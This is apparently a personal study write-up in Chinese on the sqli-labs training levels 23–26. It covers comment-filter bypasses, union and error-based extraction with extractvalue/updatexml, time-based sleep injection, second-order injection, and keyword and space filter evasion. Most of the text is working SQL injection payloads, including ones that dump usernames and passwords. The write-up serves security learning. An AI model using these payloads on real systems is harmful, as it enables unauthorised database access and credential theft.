文章目录
Less23——过滤注释符的Get注入_白盒
源码审计
过滤规则
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
有回显位,输出数据库报错信息
if($row){
echo 'Your Login name:'. $row['username'];
}else
{print_r(mysql_error());}
绕WAF思路
MySQL注释符:
注释类型 | 符号 | 符号 |
---|---|---|
单行注释 | --+ | # |
多行注释 | /*…*/ | |
新注释符 | ;%00 |
要点分析:在字符型注入中,注释符用来注释掉SQL语句末尾的单双引号,以达到语句闭合、正确执行的目的。
不能用的
1.双写绕过:使用了preg_replace()函数对防御字符进行置空,由于#和--是单个字符,所以不能进行双写绕过。
能用的办法
1.新注释符:两个单行注释符被过滤,多行注释符/**/只能注释其中的字符,但是;%00可以使用。输入id=1’ order by 5;%00,成功返回Unknown真亲切呀
2.or语句绕过:在注入语句末尾添加or ‘1’='1进行闭合。
局限:对查询结果进行逻辑运算,返回结果是True或False,无法order by判断字段数。
测试union:Mysql语句返回True时,会返回查询结果,但要在有回显位时穷举字段。
测试报错注入:非常可
测试延迟注入:可以用,耐心使用Python脚本穷举即可。
select 1 and sleep(2)返回False,说明sleep()的布尔运算是False。
睡了:输入id=1’ and sleep(3) or ‘1’=‘2
睡了:输入id=’ or sleep(2) and ‘1’='1,响应睡眠很久,因为会对每条记录执行or sleep(2)
3. union语句绕过:union select 1,2,'3。因为在select语句中,select 2和select ‘2’的效果是相同的,如下图所示。
局限:无法通过order by语句获取字段数,如果有回显位,可以通过union select 1,2,…,n来测试字段数,操作比较困难。
输入id=’ union select 1,‘2,返回数据库错误
输入id=’ union select 1,2,'3,在回显位返回查询结果
操作过程
操作 | 语句 | 响应和判断 | 图示 |
---|---|---|---|
测闭合 | id=1’ or ‘1’='1 | 正常回显,成功闭合 | 图一 |
or闭合测字段 | id=1’ order by 5 or ‘1’='1 | 始终返回id=1的结果,无法爆字段 | - |
联合查询-字符数字 | id=’ union select 1,database(),'3 | 可 | 图二 |
联合查询-新注释符 | id=’ union select 1,user(),3;%00 | 可 | 图三 |
or报错注入 | id=1’ and (extractvalue(1,concat(0x7e,(select database())))) or ‘1’='1 | 可 | 图四 |
报错语句练习
注意substr(str,start,len)函数的使用,xpath语句报错每次只能显示32个字符,除去~字符还能显示31个,所以使用substr(str,1+31*n,31)来遍历查询结果,其中n=0/1/2。
报错操作 | 成功语句 |
---|---|
extractvalue()查表名 | id=’ and(extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))) or ‘1’='1 |
extractvalue()查列名 | id=’ and(extractvalue(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’),1+31*n,31)))) or ‘1’='1 |
extractvalue()查列值 | id=’ and(extractvalue(1,concat(0x7e,substr((select group_concat(password) from users),1,31)))) or ‘1’='1 |
updatexml()查库 | id=’ and(updatexml(1,concat(0x7e,substr((select database()),1,31)),1)) or ‘1’='1 |
updatexml()查表名 | id=’ and(updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31)),1)) or ‘1’='1 |
updatexml()查列名 | id=’ and(updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’),1,31)),1)) or ‘1’='1 |
floor(rand(14)*2)+group by a | 根据MySQL解析顺序,or ‘1’='1会忽略group by语句,所以不适合此处 |
疑难收录
order by + 逻辑运算不能爆字段
语句id=x’ order by 10 and ‘1’=‘1,不论and语句怎么变化,只会返回正常数据或空。可以理解为order by在执行时被忽略了,这是由MySQL的解析顺序决定的。
and sleep() + 逻辑运算睡不睡
要点:参数值是否存在。
传递id参数,如果找得到存在的数据比如id=1,那么就使用and sleep();
如果找不到存在的数据比如id=’,那么就使用or sleep()。
Less24——二次注入
二次注入原理
原理:系统对用户输入数据进行转义,导致注入失败。但修改密码时,系统从数据库中取出用户提交数据,此时是信任该数据的,从而导入注入。
第一步:插入恶意数据进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
第二步:引用恶意数据开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。
举例: 输入参数 id= 1‘ 传输转义id= 1\’ 时转义之后无法注入。存入数据库为 1’ 再次取出直接闭合
实验过程
注册用户名admin’#和口令123:
尝试使用弱口令登录admin账户,你才Silly,I’ m the special one:
使用注册的用户名和口令登录,跳转到重置密码的页面。输入原口令123,输入新口令123456:
退出admin’#用户,使用用户名admin和修改的口令123456登录,成功登录admin:
二次注入:[网鼎杯2018]Unfinish
首页是login.php,猜测有register.php注册页面,访问后注册邮箱、用户名、口令,登录后发现用户名被打印,可疑的注入点。
还有过滤,,回头再说吧。
Less25——error based - 过滤or和and
根据页面提示,发现过滤了or和and。
1. 直接双写绕过:
输入id=1’ Oorrder by 7%23:
经典union连招拿下数据:
id=’ union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema=database()%23
id=’ union select 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_name=‘users’%23
id=’ union select 1,group_concat(passwoorrd),3 from users%23
2. 让我们面对现实,如果双写不能绕过呢?尝试如下方式,暂时没有找到可行办法:
URL编码:passw%6f%72d,不行
块注释符:passwo/**/rd、passw/**/or/**/d、passw/*or*/d,不行
内联注释:passw/*!or*/d,不行
十六进制:passw6f72d,不行
Less26_过滤or、空格、注释符
过滤:or、space和+和%0a、三个注释符
绕过:or暂时只会双写绕过。新注释符;%00绕过。空格用%0b绕过。
输入id=1’%0boorrder%0bby%0b4;%00,得到字段数4;
输入id=’%0bunion%0bselect%0b1,2,3;%00,得到回显位
union连招拿下:
查表名成功:
id=’%0bunion%0bselect%0b1,group_concat(table_name),3%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema=database();%00
查列名成功:
id=’%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_name=‘users’;%00
查列值password成功:
id=’%0bunion%0bselect%0b1,group_concat(passwoorrd),3%0bfrom%0busers;%00
参考
《sqli lab 23 、24》
http://m.gxlcms.com/sql_question-389941.html
《步步深入:MySQL架构总览->查询执行流程->SQL解析顺序》,2015-12
https://www.cnblogs.com/annsshadow/p/5037667.html
《2018 网鼎杯 unfinish》
https://zhuanlan.zhihu.com/p/150627938
《网鼎杯 2018 unfinish》
https://blog.csdn.net/rfrder/article/details/109352385